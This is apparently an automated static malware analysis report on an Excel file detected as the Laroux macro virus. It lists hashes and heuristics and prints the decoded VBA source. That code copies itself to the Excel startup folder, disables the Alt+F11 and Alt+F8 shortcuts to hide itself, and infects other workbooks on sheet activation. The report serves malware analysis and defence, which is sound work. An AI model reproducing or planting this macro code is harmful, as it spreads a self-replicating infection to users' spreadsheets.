Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 25ec71b68fab6cfa…

MALICIOUS

Office (OLE)

31.0 KB Created: 1996-12-17 01:32:42 Authoring application: Microsoft Excel First seen: 2015-09-24
MD5: 75ed514acd992129cc92956e973f9860 SHA-1: 863d09808a4e899025cc426c12cef4eab0ad0579 SHA-256: 25ec71b68fab6cfa3336b480edc4e841478837b20c9f347a820a9be5bcaa72d7
88 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file is an Excel document containing VBA macros, specifically an Auto_Open macro. This macro attempts to copy itself to the Excel startup folder as 'StartUp.xls' to achieve persistence. It also sets up event handlers for sheet activation and key presses, likely to maintain control or evade detection. The document body contains information about construction companies and curtain wall projects, which appears to be a lure.

Heuristics 3

  • ClamAV: Doc.Macro.Laroux-5893719-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Laroux-5893719-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 917 bytes
SHA-256: ef12d7355755f09cb7ed5d43609aa9c78ce2121e9043188a92ffb406905a8ca9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
  On Error Resume Next
  If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
    Application.ScreenUpdating = False
    ThisWorkbook.Sheets("StartUp").Copy
    ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
    n$ = ActiveWorkbook.Name
    ActiveWindow.Visible = False
    Workbooks("StartUp.xls").Save
    'Workbooks(n$).Close (False)
  End If
  Application.OnSheetActivate = "StartUp.xls!ycop"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub

Sub ycop()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
    Application.ScreenUpdating = False
    n$ = ActiveSheet.Name
    Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
    End If
    End Sub

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